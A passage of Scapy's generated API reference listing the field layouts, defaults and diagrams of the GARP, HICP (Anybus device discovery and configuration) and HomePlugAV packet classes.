+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|      DSAP     |      SSAP     |      CTRL     |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                          Fig. LLC_GARP                           


LLC_GARP fields






	dsap

	XByteField

	0



	ssap

	XByteField

	0



	ctrl

	ByteField

	0











	
payload_guess

	Possible sublayers:
GARP










	
scapy.contrib.gxrp.parse_next_attr(pkt, lst, cur, remain)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/gxrp.py#L144-L151]

	




	
scapy.contrib.gxrp.parse_next_msg(pkt, lst, cur, remain)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/gxrp.py#L170-L175]

	






            

          

      

      

    

  

    
      
          
            
  
scapy.contrib.hicp

HICP

Support for HICP (Host IP Control Protocol).

This protocol is used by HMS Anybus software for device discovery and
configuration.

Note : As the specification is not public, this layer was built based on the
Wireshark dissector and HMS’s HICP DLL. It was tested with a Anybus X-gateway
device. Therefore, this implementation may differ from what is written in the
standard.


	
scapy.contrib.hicp.FROM_MACFIELD(x)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/hicp.py#L59-L59]

	




	
class scapy.contrib.hicp.HICP(_pkt, /, *, hicp_command=b'')[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/hicp.py#L246-L266]

	Bases: Packet


	
aliastypes

	




	
do_dissect(s)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/hicp.py#L252-L262]

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|          HICP COMMAND         |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                            Fig. HICP                             


HICP fields






	hicp_command

	StrField

	b''











	
payload_guess

	Possible sublayers:
HICPConfigure, HICPInvalidConfiguration, HICPInvalidPassword, HICPModuleScanResponse, HICPModuleScan, HICPReconfigured, HICPWink






	
post_build(p, pay)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/hicp.py#L264-L266]

	








	
class scapy.contrib.hicp.HICPConfigure(_pkt, /, *, target='ff:ff:ff:ff:ff:ff', password=b'', new_password=b'', ip_address='255.255.255.255', subnet_mask='255.255.255.0', gateway_address='0.0.0.0', dhcp=b'OFF', hostname=b'', dns1='0.0.0.0', dns2='0.0.0.0', padding=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/hicp.py#L67-L112]

	Bases: Packet


	
aliastypes

	




	
do_dissect(s)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/hicp.py#L100-L112]

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                             TARGET                            |
+                               +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                               |            PASSWORD           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|          NEW PASSWORD         |           IP ADDRESS          |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                               |          SUBNET MASK          |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                               |        GATEWAY ADDRESS        |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                               |              DHCP             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|            HOSTNAME           |              DNS1             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                               |              DNS2             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                               |    PADDING    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                        Fig. HICPConfigure                        


HICPConfigure fields






	target

	MACField

	'ff:ff:ff:ff:ff:ff'



	password

	StrField

	b''



	new_password

	StrField

	b''



	ip_address

	IPField

	'255.255.255.255'



	subnet_mask

	IPField

	'255.255.255.0'



	gateway_address

	IPField

	'0.0.0.0'



	dhcp

	StrField

	b'OFF'



	hostname

	StrField

	b''



	dns1

	IPField

	'0.0.0.0'



	dns2

	IPField

	'0.0.0.0'



	padding

	ByteField

	0











	
post_build(p, pay)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/hicp.py#L83-L98]

	








	
class scapy.contrib.hicp.HICPInvalidConfiguration(_pkt, /, *, source='ff:ff:ff:ff:ff:ff')[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/hicp.py#L133-L148]

	Bases: Packet


	
aliastypes

	




	
do_dissect(s)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/hicp.py#L144-L148]

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                             SOURCE                            |
+                               +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                  Fig. HICPInvalidConfiguration                   


HICPInvalidConfiguration fields






	source

	MACField

	'ff:ff:ff:ff:ff:ff'











	
post_build(p, pay)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/hicp.py#L139-L142]

	








	
class scapy.contrib.hicp.HICPInvalidPassword(_pkt, /, *, source='ff:ff:ff:ff:ff:ff')[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/hicp.py#L151-L166]

	Bases: Packet


	
aliastypes

	




	
do_dissect(s)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/hicp.py#L162-L166]

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                             SOURCE                            |
+                               +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                     Fig. HICPInvalidPassword                     


HICPInvalidPassword fields






	source

	MACField

	'ff:ff:ff:ff:ff:ff'











	
post_build(p, pay)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/hicp.py#L157-L160]

	








	
class scapy.contrib.hicp.HICPModuleScan(_pkt, /, *, hicp_command=b'Module scan', padding=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/hicp.py#L228-L243]

	Bases: Packet


	
aliastypes

	




	
do_dissect(s)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/hicp.py#L235-L240]

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|          HICP COMMAND         |    PADDING    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                       Fig. HICPModuleScan                        


HICPModuleScan fields






	hicp_command

	StrField

	b'Module scan'



	padding

	ByteField

	0











	
post_build(p, pay)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/hicp.py#L242-L243]

	








	
class scapy.contrib.hicp.HICPModuleScanResponse(_pkt, /, *, protocol_version=b'1.00', fieldbus_type=b'', module_version=b'', mac_address='ff:ff:ff:ff:ff:ff', ip_address='255.255.255.255', subnet_mask='255.255.255.0', gateway_address='0.0.0.0', dhcp=b'OFF', password=b'OFF', hostname=b'', dns1='0.0.0.0', dns2='0.0.0.0', padding=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/hicp.py#L187-L225]

	Bases: Packet


	
aliastypes

	




	
do_dissect(s)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/hicp.py#L215-L225]

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|        PROTOCOL VERSION       |         FIELDBUS TYPE         |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|         MODULE VERSION        |          MAC ADDRESS          |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+                               +
|                                                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                           IP ADDRESS                          |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                          SUBNET MASK                          |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                        GATEWAY ADDRESS                        |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|              DHCP             |            PASSWORD           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|            HOSTNAME           |              DNS1             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                               |              DNS2             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                               |    PADDING    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                   Fig. HICPModuleScanResponse                    


HICPModuleScanResponse fields






	protocol_version

	StrField

	b'1.00'



	fieldbus_type

	StrField

	b''



	module_version

	StrField

	b''



	mac_address

	MACField

	'ff:ff:ff:ff:ff:ff'



	ip_address

	IPField

	'255.255.255.255'



	subnet_mask

	IPField

	'255.255.255.0'



	gateway_address

	IPField

	'0.0.0.0'



	dhcp

	StrField

	b'OFF'



	password

	StrField

	b'OFF'



	hostname

	StrField

	b''



	dns1

	IPField

	'0.0.0.0'



	dns2

	IPField

	'0.0.0.0'



	padding

	ByteField

	0











	
post_build(p, pay)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/hicp.py#L205-L213]

	








	
class scapy.contrib.hicp.HICPReconfigured(_pkt, /, *, source='ff:ff:ff:ff:ff:ff')[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/hicp.py#L115-L130]

	Bases: Packet


	
aliastypes

	




	
do_dissect(s)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/hicp.py#L126-L130]

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                             SOURCE                            |
+                               +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                      Fig. HICPReconfigured                       


HICPReconfigured fields






	source

	MACField

	'ff:ff:ff:ff:ff:ff'











	
post_build(p, pay)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/hicp.py#L121-L124]

	








	
class scapy.contrib.hicp.HICPWink(_pkt, /, *, target='ff:ff:ff:ff:ff:ff', padding=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/hicp.py#L169-L184]

	Bases: Packet


	
aliastypes

	




	
do_dissect(s)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/hicp.py#L181-L184]

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                             TARGET                            |
+                               +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                               |    PADDING    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                          Fig. HICPWink                           


HICPWink fields






	target

	MACField

	'ff:ff:ff:ff:ff:ff'



	padding

	ByteField

	0











	
post_build(p, pay)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/hicp.py#L176-L179]

	








	
scapy.contrib.hicp.TO_MACFIELD(x)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/hicp.py#L60-L60]

	






            

          

      

      

    

  

    
      
          
            
  
scapy.contrib.homeplugav

HomePlugAV Layer for Scapy

Copyright (C) FlUxIuS (Sebastien Dudek)

HomePlugAV Management Message Type
Key (type value) : Description


	
class scapy.contrib.homeplugav.AggregateConfigEntrie(_pkt, /, *, TrafficTypeID=0, AggregationConfigID=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/homeplugav.py#L719-L726]

	Bases: Packet


	
aliastypes

	




	
extract_padding(p)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/homeplugav.py#L725-L726]

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| TRAFFICTYPEID |AGGREGATIONCONF|
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                    Fig. AggregateConfigEntrie                    


AggregateConfigEntrie fields






	TrafficTypeID

	XByteField

	0



	AggregationConfigID

	XByteField

	0















	
class scapy.contrib.homeplugav.AutoConnection(_pkt, /, *, Action=0, ClassificationOperand=0, NumClassifiers=0, ClassifierObjs=[''], CSPECversion=0, ConnCAP=0, ConnCoQoSPrio=0, ConnRate=0, ConnTTL=0, version=0, VlanTag=b'\x00\x00\x00\x00', reserved_1=0, reserved_2=b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00')[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/homeplugav.py#L683-L706]

	Bases: Packet


	
aliastypes

	




	
extract_padding(p)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/homeplugav.py#L705-L706]

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|     ACTION    |CLASSIFICATIONO|         NUMCLASSIFIERS        |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|         CLASSIFIEROBJS        |          CSPECVERSION         |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|    CONNCAP    | CONNCOQOSPRIO |            CONNRATE           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                            CONNTTL                            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|            VERSION            |            VLANTAG            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                               |           RESERVED 1          |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                               |           RESERVED 2          |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                       Fig. AutoConnection                        


AutoConnection fields






	Action

	XByteField

	0



	ClassificationOperand

	XByteField

	0



	NumClassifiers

	XShortField

	0



	ClassifierObjs

	PacketListField

	['']



	CSPECversion

	XShortField

	0



	ConnCAP

	XByteField

	0



	ConnCoQoSPrio

	XByteField

	0



	ConnRate

	ShortField

	0



	ConnTTL

	LEIntField

	0



	version

	ShortField

	0



	VlanTag

	StrFixedLenField

	b'\x00\x00\x00\x00'



	reserved_1

	XIntField

	0



	reserved_2

	StrFixedLenField

	b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'















	
class scapy.contrib.homeplugav.BackoffDeferalCountTable(_pkt, /, *, element=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/homeplugav.py#L790-L796]

	Bases: Packet


	
aliastypes

	




	
extract_padding(p)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/homeplugav.py#L795-L796]

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|    ELEMENT    |
+-+-+-+-+-+-+-+-+

                  Fig. BackoffDeferalCountTable                   


BackoffDeferalCountTable fields






	element

	XByteField

	0















	
class scapy.contrib.homeplugav.BehaviorBlockArray(_pkt, /, *, BehId=0, NoOfSteps=0, DurationInMs=0, GPIOMaskBits_1=0, GPIOMaskBits_2=0, GPIOMaskBits_3=0, GPIOMaskBits_4=0, GPIOMaskBits_5=0, GPIOMaskBits_6=0, reserved_beh=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/homeplugav.py#L799-L814]

	Bases: Packet


	
aliastypes

	




	
extract_padding(p)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/homeplugav.py#L813-L814]

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|     BEHID     |   NOOFSTEPS   |  DURATIONINMS | GPIOMASKBITS 1|
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |         GPIOMASKBITS 2        | GPIOMASKBITS 3|
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |         GPIOMASKBITS 4        | GPIOMASKBITS 5|
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |         GPIOMASKBITS 6        |  RESERVED BEH |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                     Fig. BehaviorBlockArray                      


BehaviorBlockArray fields






	BehId

	XByteField

	0



	NoOfSteps

	XByteField

	0



	DurationInMs

	XByteField

	0



	GPIOMaskBits_1

	XShortField

	0



	GPIOMaskBits_2

	XShortField

	0



	GPIOMaskBits_3

	XShortField

	0



	GPIOMaskBits_4

	XShortField

	0



	GPIOMaskBits_5

	XShortField

	0



	GPIOMaskBits_6

	XShortField

	0



	reserved_beh

	XIntField

	0















	
class scapy.contrib.homeplugav.ClassifierObj(_pkt, /, *, ClassifierPID=0, IndividualOperand=0, ClassifierValue=b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00')[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/homeplugav.py#L669-L680]

	Bases: Packet


	
aliastypes

	




	
extract_padding(p)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/homeplugav.py#L679-L680]

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                         CLASSIFIERPID                         |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                       INDIVIDUALOPERAND                       |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                        CLASSIFIERVALUE                        |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                        Fig. ClassifierObj                        


ClassifierObj fields






	ClassifierPID

	LEIntField

	0



	IndividualOperand

	LEIntField

	0



	ClassifierValue

	StrFixedLenField

	b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'















	
class scapy.contrib.homeplugav.ClassifierPriorityMap(_pkt, /, *, Priority=0, PID=0, IndividualOperand=0, ClassifierValue=b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00')[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/homeplugav.py#L655-L666]

	Bases: Packet


	
aliastypes

	




	
extract_padding(p)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/homeplugav.py#L665-L666]

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                            PRIORITY                           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                              PID                              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                       INDIVIDUALOPERAND                       |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                        CLASSIFIERVALUE                        |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                    Fig. ClassifierPriorityMap                    


ClassifierPriorityMap fields






	Priority

	LEIntField

	0



	PID

	LEIntField

	0



	IndividualOperand

	LEIntField

	0



	ClassifierValue

	StrFixedLenField

	b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'















	
class scapy.contrib.homeplugav.ConfBlock(_pkt, /, *, HeaderVersionNum=0, ImgAddrNVM=0, ImgAddrSDRAM=0, ImgLength=0, ImgCheckSum=0, EntryPoint=0, HeaderMinVersion=0, HeaderImgType=0, HeaderIgnoreMask=0, HeaderModuleID=0, HeaderModuleSubID=0, AddrNextHeaderNVM=0, HeaderChecksum=0, SDRAMsize=0, SDRAMConfRegister=0, SDRAMTimingRegister_0=0, SDRAMTimingRegister_1=0, SDRAMControlRegister=0, SDRAMRefreshRegister=0, MACClockRegister=0, reserved_1=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/homeplugav.py#L1333-L1355]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                        HEADERVERSIONNUM                       |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                           IMGADDRNVM                          |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                          IMGADDRSDRAM                         |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                           IMGLENGTH                           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                          IMGCHECKSUM                          |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                           ENTRYPOINT                          |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|HEADERMINVERSIO| HEADERIMGTYPE |        HEADERIGNOREMASK       |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                         HEADERMODULEID                        |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                       HEADERMODULESUBID                       |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                       ADDRNEXTHEADERNVM                       |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                         HEADERCHECKSUM                        |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                           SDRAMSIZE                           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                       SDRAMCONFREGISTER                       |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                     SDRAMTIMINGREGISTER 0                     |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                     SDRAMTIMINGREGISTER 1                     |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                      SDRAMCONTROLREGISTER                     |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                      SDRAMREFRESHREGISTER                     |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                        MACCLOCKREGISTER                       |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                           RESERVED 1                          |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                          Fig. ConfBlock                          


ConfBlock fields






	HeaderVersionNum

	LEIntField

	0



	ImgAddrNVM

	LEIntField

	0



	ImgAddrSDRAM

	LEIntField

	0



	ImgLength

	LEIntField

	0



	ImgCheckSum

	LEIntField

	0



	EntryPoint

	LEIntField

	0



	HeaderMinVersion

	XByteField

	0



	HeaderImgType

	ByteEnumField

	0



	HeaderIgnoreMask

	XShortField

	0



	HeaderModuleID

	LEIntField

	0



	HeaderModuleSubID

	LEIntField

	0



	AddrNextHeaderNVM

	LEIntField

	0



	HeaderChecksum

	LEIntField

	0



	SDRAMsize

	LEIntField

	0



	SDRAMConfRegister

	LEIntField

	0



	SDRAMTimingRegister_0

	LEIntField

	0



	SDRAMTimingRegister_1

	LEIntField

	0



	SDRAMControlRegister

	LEIntField

	0



	SDRAMRefreshRegister

	LEIntField

	0



	MACClockRegister

	LEIntField

	0



	reserved_1

	LEIntField

	0















	
